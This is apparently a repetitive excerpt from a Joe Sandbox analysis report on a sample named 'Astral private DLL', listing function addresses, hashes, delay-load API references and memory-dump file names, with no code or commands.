Opcode ID: a5de16ff9b1ff6899f9723ec152e1bf6074b083e038c4ce06a373985430fadb8
Instruction ID: dfafd59f276737bfa552eefead7f18ce5666aa55b1bcc36f95b05ae99cb70c9e
Opcode Fuzzy Hash: a5de16ff9b1ff6899f9723ec152e1bf6074b083e038c4ce06a373985430fadb8
Instruction Fuzzy Hash: 73B012E1358100BC7348E1051D03E3701ECC0D8F10331C17EF82DC1080DB41BD800872

Function 0017E250 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a5627e47fc326219c8e4902fcca9dd6855b2f3b9a15477c4094bba012b104b97
Instruction ID: a786de985aebfec7212c61eab6bcb7f58b233bde46fac15db8857c1142a07e34
Opcode Fuzzy Hash: a5627e47fc326219c8e4902fcca9dd6855b2f3b9a15477c4094bba012b104b97
Instruction Fuzzy Hash: 97B092A1259140BC7288A2051902E3601EDC098B10331C16EB829C10809A40A8840872

Function 0017E246 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1d279bf50607c74b79f3344999c1d92da7dda71563731841a4355618f0337d4b
Instruction ID: 9e249f3b9f70bee42658c38dd6cae5b2822bbf08703d5af7e16cbc446d113ce5
Opcode Fuzzy Hash: 1d279bf50607c74b79f3344999c1d92da7dda71563731841a4355618f0337d4b
Instruction Fuzzy Hash: 85B09291299040BC7248A1051902E3601EDC099B10331C06EB829C10809A40A8400872

Function 0017E264 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c33efb10c93faf4cbbb08d94aa6b0732f1429fc419de02dc812bf6a0f1e7a430
Instruction ID: 83e7dc91838723b86d9d425712755136da81c127187b4fae0840d6c5f9bd0760
Opcode Fuzzy Hash: c33efb10c93faf4cbbb08d94aa6b0732f1429fc419de02dc812bf6a0f1e7a430
Instruction Fuzzy Hash: FEB012D1369040BC7348E1051D03E3701EDC4D8F10331C07EF82EC1080DB40BC400872

Function 0017E26E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 50cf86084a20ec6996416df758b58a56b0c453c61cc77079571aec26a9174c2e
Instruction ID: 99967243378da70fd7c22b7853dc15cb1b7483213c320ed909d58844b982ecb1
Opcode Fuzzy Hash: 50cf86084a20ec6996416df758b58a56b0c453c61cc77079571aec26a9174c2e
Instruction Fuzzy Hash: EAB092D1258000BC7208A1151902E3601ECC099B10331C06EB829C10809B41A8400872

Function 0017E282 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fab8de34e1d990721147e36319285e0c981f3e4796ab7ad2acaf6274a95197fb
Instruction ID: cc8e859942f0fb756f25fc221206c3c0a04b5764e0a343f30555498be37a0484
Opcode Fuzzy Hash: fab8de34e1d990721147e36319285e0c981f3e4796ab7ad2acaf6274a95197fb
Instruction Fuzzy Hash: F1B012E1358000BC7308E1061E03E3701ECC0D8B10331C07EF82DC1080DF42BD410872

Function 0017E419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E3FC

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 79b888f48fb0b9c152b7f815a989de9c484694becb85337e5a5a8d0f68e5074b
Instruction ID: 16dc2eaa2b682ddaf1c28d73a49ca21005fec8574b207e85db25e6cd7f246988
Opcode Fuzzy Hash: 79b888f48fb0b9c152b7f815a989de9c484694becb85337e5a5a8d0f68e5074b
Instruction Fuzzy Hash: ADB012E22580007C330891051E02E3702FCC1D8B10330C06EF56CD11C0DB404C091473

Function 0017E423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E3FC

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0f7ba96f429eaadc8006c90152b9b0ed5e525bfbed54fca27216dd6ae0f7d7b7
Instruction ID: c2bdb68d812fe2a6aec3bf2eaeabd6c9da77b4f8d682a6d9af96255c81aba6af
Opcode Fuzzy Hash: 0f7ba96f429eaadc8006c90152b9b0ed5e525bfbed54fca27216dd6ae0f7d7b7
Instruction Fuzzy Hash: 9AB012F3258000BC3308E1051D02E3702FCC1D8F10330C06EF86CD1180DB408E000473

Function 0017E44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E3FC

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: dad42f46331709ac7303e6588bd14c5a686da94386c6271d6cd99a980e44cce3
Instruction ID: 24b7702f2b9a0befa6cd9f656752c5e36f611fb844e5630857d622a559bf4100
Opcode Fuzzy Hash: dad42f46331709ac7303e6588bd14c5a686da94386c6271d6cd99a980e44cce3
Instruction Fuzzy Hash: F0B012E2258000BC3308E1051D02E3702FCC1D8B10330C06FF86CD11C0DB408C040473

Function 0017E50D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E51F

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b863a71e3e7deac2e468279a2e7d8476cf29a4120ff9e5722296e29083a8181a
Instruction ID: 5384d2f57a466b0a84db0f2e18ca3250c414bce66e7ec458764ad5989db61636
Opcode Fuzzy Hash: b863a71e3e7deac2e468279a2e7d8476cf29a4120ff9e5722296e29083a8181a
Instruction Fuzzy Hash: 4AB012C62581407C330811241E06E3B02FCC0D5F10330C07EF478D0481AB418D040472

Function 0017E532 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E51F

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0d8a416664e232c4619bf7147c16bb79d1a0aa05477e07f698372c2ea5271d9f
Instruction ID: a11ae346a2c66588f100e43c7dbeb8cd6f1463f77c02245ddb8283061c77061f
Opcode Fuzzy Hash: 0d8a416664e232c4619bf7147c16bb79d1a0aa05477e07f698372c2ea5271d9f
Instruction Fuzzy Hash: 34B012C62580007D330851081E02F3B02FCC0D9F10330C06EF42CC0180EB408C000473

Function 0017E528 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E51F

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 193587f232dbc190f44021a77876d65bce62058869f94aabd6d5a451c563edc9
Instruction ID: 7276a3b3956709995d58d073a3496bddb925871e90c38306544f3806d820b1f9
Opcode Fuzzy Hash: 193587f232dbc190f44021a77876d65bce62058869f94aabd6d5a451c563edc9
Instruction Fuzzy Hash: 76B012C62580407C330851081F02E3B07FCC0D9F10330C06EF42CC0180EB418C010473

Function 0017E546 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E51F

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b1399d52a83c10c5b7b5ea0435f5c4c7bf7b906d844d22e50f3f11f439d16ecf
Instruction ID: 429975eab8287438a5aee3b24c60299f324e53757631ace7b6e52ceba8a91feb
Opcode Fuzzy Hash: b1399d52a83c10c5b7b5ea0435f5c4c7bf7b906d844d22e50f3f11f439d16ecf
Instruction Fuzzy Hash: A8B012C62581007C330851085E03E3B02FCC0DAF10330C26EF42CC0180EB408C440472

Function 0017E593 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E580

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 10f116bd8bd597894a08f1a0f8f8a53bee067e0375e0ac083d8257ed5d550a71
Instruction ID: 2761901832c0e2f04602223068742c4411176b509cbd7d0c1ce597fd08b0c6e8
Opcode Fuzzy Hash: 10f116bd8bd597894a08f1a0f8f8a53bee067e0375e0ac083d8257ed5d550a71
Instruction Fuzzy Hash: D9B012C52980047D330851541D02E3701FCC0D8B10332C06EF42CC5180EB404C000473

Function 0017E5B1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E580

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: dd6c9548392ff59993bbea1be61fa37bbc0aaba2957db378976731802b96b575
Instruction ID: c28ffc6cd0c9017493f651079eb2bdb6b2abb00d316de15832183e73b45c4ef6
Opcode Fuzzy Hash: dd6c9548392ff59993bbea1be61fa37bbc0aaba2957db378976731802b96b575
Instruction Fuzzy Hash: 99B012C52981007C334851545D03E3701FCC0D9B10335C26EF42CC5180EB404C400473

Function 0017E5A7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E580

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6edaa3e041d87d5bee604649c24bc0daddb66f3e9037b045ee22a231c1af3f3c
Instruction ID: 7a73091cbac4f3a6a4b8796511ba69a0dd8125ca2fd3dd0c14838f0712a42ad3
Opcode Fuzzy Hash: 6edaa3e041d87d5bee604649c24bc0daddb66f3e9037b045ee22a231c1af3f3c
Instruction Fuzzy Hash: 45B012C52980007C330851555E02E3701FCC0D9B10335C26EF42CC5180EF404D010473

Function 0017E219 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 992382ea571377d9ed39fc1f885a8885ff8720eaa3fdd359b69aab794a7e98c6
Instruction ID: 792ca69d29a0cb5af8db4e4965e6046c19e4f853f43d644f2cf878bcd77ac9fc
Opcode Fuzzy Hash: 992382ea571377d9ed39fc1f885a8885ff8720eaa3fdd359b69aab794a7e98c6
Instruction Fuzzy Hash: 8EA002D5259141BC7608A1515D07D3701EDC4D9B51371C56DF85AC54855A5178451871

Function 0017E25F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

